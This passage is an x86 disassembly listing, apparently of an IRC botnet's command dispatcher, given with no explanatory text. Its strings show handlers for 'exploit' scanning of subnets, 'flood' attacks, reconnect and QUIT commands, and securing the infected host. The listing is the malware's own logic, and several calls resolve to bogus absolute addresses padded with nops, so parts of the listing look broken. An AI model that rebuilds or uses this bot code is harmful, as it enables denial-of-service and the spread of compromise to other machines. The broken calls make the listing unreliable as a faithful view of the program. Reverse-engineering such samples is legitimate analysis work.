		pop	ecx


loc_403F9D:				; CODE XREF: sub_401ACD+5781j
		cmp	[ebp+var_8], ebx
		jnz	short loc_403FBE
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_403FB6:				; CODE XREF: sub_401ACD+6DA8j
		call	sub_409869
		add	esp, 14h


loc_403FBE:				; CODE XREF: sub_401ACD+24D3j
					; sub_401ACD+26B0j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		jmp	loc_4097D1
; ---------------------------------------------------------------------------


loc_403FCF:				; CODE XREF: sub_401ACD+1876j
					; sub_401ACD+188Bj
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40A5C5
		jmp	loc_404260
; ---------------------------------------------------------------------------


loc_403FE8:				; CODE XREF: sub_401ACD+184Cj
					; sub_401ACD+1861j
		push	[ebp+esi+var_8C]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_416FCF
		jmp	loc_404260
; ---------------------------------------------------------------------------


loc_404005:				; CODE XREF: sub_401ACD+1822j
					; sub_401ACD+1837j
		or	edi, 0FFFFFFFFh
		call	near ptr 26A0D72h
		nop
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_40402E
		push	esi
		call	sub_41C159
		pop	ecx
		mov	edi, eax


loc_40402E:				; CODE XREF: sub_401ACD+2556j
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_404047
		cmp	edi, 0FFFFFFFFh
		jnz	loc_409644


loc_404047:				; CODE XREF: sub_401ACD+256Fj
		push	ebx
		call	sub_41ADD8
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BF4C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38


loc_404085:				; CODE XREF: sub_401ACD+51BCj
		add	esp, 24h
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_40408D:				; CODE XREF: sub_401ACD+17F8j
					; sub_401ACD+180Dj
		push	27h
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_4040BE
		cmp	[ebp+var_8], ebx
		jnz	loc_401F75
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42BF2C


loc_4040AB:				; CODE XREF: sub_401ACD+4F88j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		jmp	loc_408C05
; ---------------------------------------------------------------------------


loc_4040BE:				; CODE XREF: sub_401ACD+25CAj
		push	[ebp+var_88]
		lea	eax, [ebp+var_BC4]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_BC8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_B3C], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_B38], eax
		mov	[ebp+var_B40], ebx
		jz	short loc_40411F
		push	esi
		push	offset aFull	; "full"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40411F
		mov	[ebp+var_B40], 1


loc_40411F:				; CODE XREF: sub_401ACD+2635j
					; sub_401ACD+2646j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BF08
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	27h
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	[ebp+var_B44], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_BC8]
		push	ebx
		push	eax
		push	offset sub_419E38
		push	ebx
		push	ebx
		nop
		call	near ptr 2690496h
		mov	ecx, [ebp+var_B44]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40418D


loc_404177:				; CODE XREF: sub_401ACD+26BEj
		cmp	[ebp+var_B34], ebx
		jnz	loc_403FBE
		push	32h
		nop
		call	near ptr 269040Ah
		jmp	short loc_404177
; ---------------------------------------------------------------------------


loc_40418D:				; CODE XREF: sub_401ACD+26A8j
		nop
		call	near ptr 2690C56h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BECC
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_403FBE
; ---------------------------------------------------------------------------


loc_4041AD:				; CODE XREF: sub_401ACD+17CEj
					; sub_401ACD+17E3j
		cmp	[ebp+var_8], ebx
		jnz	short loc_4041CC
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42BEB4
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_4041CC:				; CODE XREF: sub_401ACD+26E3j
		push	[ebp+arg_4]
		call	dword_4CBA6C
		call	dword_4CB92C
		call	sub_4188A6
		push	ebx
		call	near ptr 77E75CB5h
		nop


loc_4041E7:				; CODE XREF: sub_401ACD+17A4j
					; sub_401ACD+17B9j
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_41AF8F
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		push	offset unk_42BE9C
		jmp	short loc_40423F
; ---------------------------------------------------------------------------


loc_404212:				; CODE XREF: sub_401ACD+177Aj
					; sub_401ACD+178Fj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41B243
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		push	offset unk_42BE84


loc_40423F:				; CODE XREF: sub_401ACD+2489j
					; sub_401ACD+2743j
		call	sub_415D38
		add	esp, 18h
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_40424C:				; CODE XREF: sub_401ACD+1750j
					; sub_401ACD+1765j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415DD8


loc_404260:				; CODE XREF: sub_401ACD+3C8j
					; sub_401ACD+2516j ...
		add	esp, 10h
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_404268:				; CODE XREF: sub_401ACD+1726j
					; sub_401ACD+173Bj
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_1598],	bl
		jz	short loc_4042A7
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4042A7
		push	esi
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4042A7
		push	eax
		push	offset aS_1	; "%s"
		lea	eax, [ebp+var_1598]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 10h


loc_4042A7:				; CODE XREF: sub_401ACD+27A4j
					; sub_401ACD+27AFj ...
		push	[ebp+var_88]
		lea	eax, [ebp+var_1618]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_161C],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1514],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1510],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BE6C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	25h
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	[ebp+var_1518],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_161C]
		push	ebx
		push	eax
		push	offset byte_415E4B
		push	ebx
		push	ebx
		nop
		call	near ptr 2690496h
		mov	ecx, [ebp+var_1518]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40434A


loc_404334:				; CODE XREF: sub_401ACD+287Bj
		cmp	[ebp+var_150C],	ebx
		jnz	loc_401F75
		push	32h
		call	near ptr 269040Ah
		nop
		jmp	short loc_404334
; ---------------------------------------------------------------------------


loc_40434A:				; CODE XREF: sub_401ACD+2865j
		nop
		call	near ptr 2690C56h
		push	eax
		push	offset unk_42BE34
		jmp	loc_4097CB
; ---------------------------------------------------------------------------


loc_40435B:				; CODE XREF: sub_401ACD+16FCj
					; sub_401ACD+1711j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415CC0
		push	offset unk_42BE1C
		call	sub_415D38


loc_404376:				; CODE XREF: sub_401ACD+23F9j
		add	esp, 10h
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_40437E:				; CODE XREF: sub_401ACD+16D2j
					; sub_401ACD+16E7j
		push	[ebp+var_88]
		lea	eax, [ebp+var_C5C]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_C60], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_BD4], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_BD0], eax
		jz	short loc_4043D8
		push	offset dword_42BE18
		push	esi
		call	sub_41CA50
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_BD8], eax
		jmp	short loc_4043DE
; ---------------------------------------------------------------------------


loc_4043D8:				; CODE XREF: sub_401ACD+28EFj
		mov	[ebp+var_BD8], ebx


loc_4043DE:				; CODE XREF: sub_401ACD+2909j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BDF8
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	28h
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	[ebp+var_BDC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C60]
		push	ebx
		push	eax
		push	offset byte_40B425
		push	ebx
		push	ebx
		nop
		call	near ptr 2690496h
		mov	ecx, [ebp+var_BDC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40444C


loc_404436:				; CODE XREF: sub_401ACD+297Dj
		cmp	[ebp+var_BCC], ebx
		jnz	loc_406C1F
		push	32h
		call	near ptr 269040Ah
		nop
		jmp	short loc_404436
; ---------------------------------------------------------------------------


loc_40444C:				; CODE XREF: sub_401ACD+2967j
		nop
		call	near ptr 2690C56h
		push	eax
		push	offset unk_42BDBC
		jmp	loc_409091
; ---------------------------------------------------------------------------


loc_40445D:				; CODE XREF: sub_401ACD+1656j
					; sub_401ACD+166Bj
		push	offset aDark	; "Dark"
		push	offset unk_42BDA4


loc_404467:				; CODE XREF: sub_401ACD+29D9j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 20h
		jmp	loc_406C1F
; ---------------------------------------------------------------------------


loc_404494:				; CODE XREF: sub_401ACD+162Cj
					; sub_401ACD+1641j
		push	dword_4CB714
		call	sub_41ADD8
		pop	ecx
		push	eax
		push	offset unk_42BD78
		jmp	short loc_404467
; ---------------------------------------------------------------------------


loc_4044A8:				; CODE XREF: sub_401ACD+1602j
					; sub_401ACD+1617j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4044DA
		cmp	[ebp+var_C], ebx
		jz	short loc_4044E9
		push	esi
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4044E9
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		jmp	short loc_4044E9
; ---------------------------------------------------------------------------


loc_4044DA:				; CODE XREF: sub_401ACD+29E4j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		pop	ecx
		pop	ecx


loc_4044E9:				; CODE XREF: sub_401ACD+29E9j
					; sub_401ACD+29F8j ...
		push	0FFFFFFFEh
		jmp	loc_401F77
; ---------------------------------------------------------------------------


loc_4044F0:				; CODE XREF: sub_401ACD+15D8j
					; sub_401ACD+15EDj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		push	offset unk_42BD28
		call	sub_415D38
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_404512:				; CODE XREF: sub_401ACD+15AEj
					; sub_401ACD+15C3j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		push	offset unk_42BCF8
		call	sub_415D38
		add	esp, 0Ch
		jmp	loc_4095AD
; ---------------------------------------------------------------------------


loc_404531:				; CODE XREF: sub_401ACD+1584j
					; sub_401ACD+1599j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BA9E
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_404547:				; CODE XREF: sub_401ACD+155Aj
					; sub_401ACD+156Fj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BA49
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_40455D:				; CODE XREF: sub_401ACD+1530j
					; sub_401ACD+1545j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B9DD
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_404573:				; CODE XREF: sub_401ACD+1506j
					; sub_401ACD+151Bj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B90E
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_404589:				; CODE XREF: sub_401ACD+1461j
					; sub_401ACD+1476j
		push	[ebp+esi+var_8C]
		push	27h
		push	offset dword_42BCE8
		push	offset dword_42BCD8
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_4045A1:				; CODE XREF: sub_401ACD+1437j
					; sub_401ACD+144Cj
		push	[ebp+esi+var_8C]
		push	24h
		push	offset dword_42BCCC
		push	offset dword_42BCBC
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_4045B9:				; CODE XREF: sub_401ACD+1050j
					; sub_401ACD+1065j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_4045D8
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jz	short loc_4045D8
		push	edi
		call	sub_41C159
		pop	ecx
		jmp	short loc_4045DD
; ---------------------------------------------------------------------------


loc_4045D8:				; CODE XREF: sub_401ACD+2AF5j
					; sub_401ACD+2B00j
		mov	eax, dword_429074


loc_4045DD:				; CODE XREF: sub_401ACD+2B09j
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_590], eax
		cmp	esi, ebx
		jz	short loc_404602
		push	esi


loc_4045EF:				; CODE XREF: sub_401ACD+2B44j
		lea	eax, [ebp+var_5A0]
		push	10h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		jmp	short loc_404619
; ---------------------------------------------------------------------------


loc_404602:				; CODE XREF: sub_401ACD+2B1Fj
		cmp	[ebp+var_8FF], bl
		jz	short loc_404613
		lea	eax, [ebp+var_C4]
		push	eax
		jmp	short loc_4045EF
; ---------------------------------------------------------------------------


loc_404613:				; CODE XREF: sub_401ACD+2B3Bj
		mov	[ebp+var_5A0], bl


loc_404619:				; CODE XREF: sub_401ACD+2B33j
		mov	eax, [ebp+var_4]
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_584], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_620]
		push	eax
		mov	[ebp+var_624], esi
		call	sub_41C360
		add	esp, 0Ch
		push	[ebp+var_590]
		push	esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BC94
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	19h
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_58C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_624]
		push	ebx
		push	eax
		push	offset word_411BCE
		push	ebx
		push	ebx
		call	near ptr 2690496h
		nop
		mov	ecx, [ebp+var_58C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_4046CA


loc_4046B4:				; CODE XREF: sub_401ACD+2BFBj
		cmp	[ebp+var_57C], ebx
		jnz	loc_401F75
		push	32h
		call	near ptr 269040Ah
		nop
		jmp	short loc_4046B4
; ---------------------------------------------------------------------------


loc_4046CA:				; CODE XREF: sub_401ACD+2BE5j
		call	near ptr 2690C56h
		nop
		push	eax
		push	offset dword_42BC58
		jmp	loc_4097CB
; ---------------------------------------------------------------------------


loc_4046DB:				; CODE XREF: sub_401ACD+FFDj
					; sub_401ACD+1012j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4046FB
		push	esi
		call	sub_41C159
		test	ax, ax
		pop	ecx
		jz	short loc_4046FB
		push	esi
		call	sub_41C159
		pop	ecx
		jmp	short loc_404701
; ---------------------------------------------------------------------------


loc_4046FB:				; CODE XREF: sub_401ACD+2C17j
					; sub_401ACD+2C23j
		mov	ax, word_429084


loc_404701:				; CODE XREF: sub_401ACD+2C2Cj
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		mov	[ebp+var_97C], ax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_96C], eax
		lea	eax, [ebp+var_9FC]
		push	eax
		mov	[ebp+var_A00], esi
		mov	[ebp+var_970], edi
		call	sub_41C360
		movzx	eax, [ebp+var_97C]
		add	esp, 0Ch
		push	eax
		push	esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BC2C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	edi
		push	eax
		push	[ebp+var_88]
		push	esi
		call	sub_409869
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	6
		push	eax
		call	sub_40B3BA
		add	esp, 30h
		mov	[ebp+var_978], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A00]
		push	ebx
		push	eax
		push	offset dword_40EF1C
		push	ebx
		push	ebx
		nop
		call	near ptr 2690496h
		mov	ecx, [ebp+var_978]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_4047D0


loc_4047BA:				; CODE XREF: sub_401ACD+2D01j
		cmp	[ebp+var_968], ebx
		jnz	loc_401F75
		push	32h
		nop
		call	near ptr 269040Ah
		jmp	short loc_4047BA
; ---------------------------------------------------------------------------


loc_4047D0:				; CODE XREF: sub_401ACD+2CEBj
		nop
		call	near ptr 2690C56h
		push	eax
		push	offset unk_42BBEC
		jmp	loc_4097CB
; ---------------------------------------------------------------------------


loc_4047E1:				; CODE XREF: sub_401ACD+FA9j
					; sub_401ACD+FBEj ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_404809
		push	edi
		push	offset aSec	; "sec"
		call	sub_41CA50
		pop	ecx
		mov	[ebp+var_AA8], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_404813


loc_404809:				; CODE XREF: sub_401ACD+2D23j
		mov	[ebp+var_AA8], 1


loc_404813:				; CODE XREF: sub_401ACD+2D3Aj
		push	[ebp+var_88]
		lea	eax, [ebp+var_B2C]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_AA8], ebx
		mov	[ebp+var_B30], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_AA4], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_AA0], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_40485A
		mov	eax, offset aUnsecuring	; "Unsecuring"


loc_40485A:				; CODE XREF: sub_401ACD+2D86j
		push	eax
		push	offset dword_42BBB8
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	22h
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_AAC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_B30]
		push	ebx
		push	eax
		push	offset sub_41A366
		push	ebx
		push	ebx
		nop
		call	near ptr 2690496h
		mov	ecx, [ebp+var_AAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_4048CE


loc_4048B8:				; CODE XREF: sub_401ACD+2DFFj
		cmp	[ebp+var_A9C], ebx
		jnz	loc_4082DE
		push	32h
		call	near ptr 269040Ah
		nop
		jmp	short loc_4048B8
; ---------------------------------------------------------------------------


loc_4048CE:				; CODE XREF: sub_401ACD+2DE9j
		call	near ptr 2690C56h
		nop
		push	eax
		push	offset dword_42BB7C
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_4048DF:				; CODE XREF: sub_401ACD+F7Fj
					; sub_401ACD+F94j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41ABFB


loc_4048F0:				; CODE XREF: sub_401ACD+2A75j
					; sub_401ACD+2A8Bj ...
		add	esp, 0Ch
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_4048F8:				; CODE XREF: sub_401ACD+F55j
					; sub_401ACD+F6Aj
		push	offset unk_42BB2C
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_404902:				; CODE XREF: sub_401ACD+F2Bj
					; sub_401ACD+F40j
		push	offset aAbosel7V4 ; "abosel7 v4"
		push	offset dword_42BB1C
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_404911:				; CODE XREF: sub_401ACD+F01j
					; sub_401ACD+F16j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_404971
		push	esi
		call	sub_41C159
		cmp	eax, ebx
		pop	ecx
		jl	short loc_404966
		cmp	eax, 3
		jge	short loc_404966
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_40495B
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CD50
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_4081AD
; ---------------------------------------------------------------------------


loc_40495B:				; CODE XREF: sub_401ACD+2E6Dj
		push	eax
		push	offset unk_42BAF0
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_404966:				; CODE XREF: sub_401ACD+2E58j
					; sub_401ACD+2E5Dj
		push	eax
		push	offset unk_42BAC4
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_404971:				; CODE XREF: sub_401ACD+2E4Dj
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_404976:				; CODE XREF: sub_401ACD+2EC5j
		push	[ebp+var_90]
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_404999
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_404976
		jmp	loc_4081AD
; ---------------------------------------------------------------------------


loc_404999:				; CODE XREF: sub_401ACD+2EB9j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CD50
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_4049B3:				; CODE XREF: sub_401ACD+ED7j
					; sub_401ACD+EECj
		push	[ebp+var_8C]
		push	offset dword_42CCC8
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403446
		call	sub_40B583
		push	ebx
		call	near ptr 77E75CB5h
		nop


loc_4049D9:				; CODE XREF: sub_401ACD+19B1j
		push	offset aGet	; "get"
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404A67
		cmp	dword_4CF180, ebx
		jz	short loc_404A01
		push	offset dword_4CEB60


loc_4049F7:				; CODE XREF: sub_401ACD+2F98j
		push	offset unk_42BA88
		jmp	loc_404A97
; ---------------------------------------------------------------------------


loc_404A01:				; CODE XREF: sub_401ACD+2F23j
		push	10h
		pop	eax
		mov	[ebp+var_2CC], eax
		push	eax
		lea	eax, [ebp+var_2E8]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_2CC]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		push	[ebp+arg_4]
		call	near ptr 71AB157Eh
		nop
		movzx	eax, [ebp+var_2E2]
		push	eax
		movzx	eax, [ebp+var_2E3]
		push	eax
		movzx	eax, [ebp+var_2E4]
		push	eax
		lea	eax, [ebp+var_E24]
		push	offset aD_D_D_	; "%d.%d.%d.*"
		push	eax
		call	sub_41C266
		add	esp, 14h
		lea	eax, [ebp+var_E24]
		push	eax
		jmp	short loc_4049F7
; ---------------------------------------------------------------------------


loc_404A67:				; CODE XREF: sub_401ACD+2F1Bj
		push	edi
		call	dword_4CBA14
		cmp	eax, 0FFFFFFFFh
		push	edi
		jnz	short loc_404A7B
		push	offset unk_42BA48
		jmp	short loc_404A97
; ---------------------------------------------------------------------------


loc_404A7B:				; CODE XREF: sub_401ACD+2FA5j
		push	offset dword_4CEB60
		call	sub_41C890
		pop	ecx
		mov	dword_4CF180, 1
		pop	ecx
		push	edi
		push	offset unk_42BA1C


loc_404A97:				; CODE XREF: sub_401ACD+2F2Fj
					; sub_401ACD+2FACj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_40349D
; ---------------------------------------------------------------------------


loc_404AAB:				; CODE XREF: sub_401ACD+199Cj
		push	[ebp+arg_8]
		push	offset aExploit	; "exploit"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404BB1
		mov	eax, [ebp+var_4]
		mov	esi, 80h
		mov	[ebp+var_13E8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_13E4],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13F8],	eax
		push	offset aF	; "#f"
		lea	eax, [ebp+var_1478]
		push	esi
		push	eax
		mov	[ebp+var_13F0],	1
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_14F8]
		push	offset aF	; "#f"
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_1508]
		push	edi
		push	10h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_1508]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B9E4
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	8
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	[ebp+var_13EC],	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		lea	eax, [ebp+var_1508]
		push	ebx
		push	eax
		push	offset byte_40BB65
		push	ebx
		push	ebx
		call	near ptr 2690496h
		nop
		mov	ecx, [ebp+var_13EC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_404BA0


loc_404B8A:				; CODE XREF: sub_401ACD+30D1j
		cmp	[ebp+var_13E0],	ebx
		jnz	loc_4081AD
		push	32h
		call	near ptr 269040Ah
		nop
		jmp	short loc_404B8A
; ---------------------------------------------------------------------------


loc_404BA0:				; CODE XREF: sub_401ACD+30BBj
		call	near ptr 2690C56h
		nop
		push	eax
		push	offset unk_42B9A4
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_404BB1:				; CODE XREF: sub_401ACD+2FEFj
		push	[ebp+arg_8]
		push	offset aReconnect_in ; "reconnect.in"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095B4
		push	[ebp+arg_8]
		push	offset aRin	; "rin"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095B4
		push	[ebp+arg_8]
		push	offset aReconnect_in_m ; "reconnect.in.ms"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409570
		push	[ebp+arg_8]
		push	offset aRinms	; "rinms"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409570
		push	[ebp+arg_8]
		push	offset aFlood	; "flood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4057B7
		call	near ptr 26A0D72h
		nop
		push	eax
		call	sub_41C2B8
		push	edi
		push	offset aLoad	; "load"
		call	sub_41CA50
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404CB7
		cmp	[ebp+esi+var_80], ebx
		jz	short loc_404CB7
		push	[ebp+esi+var_80]
		call	sub_41C159
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41C159
		pop	ecx
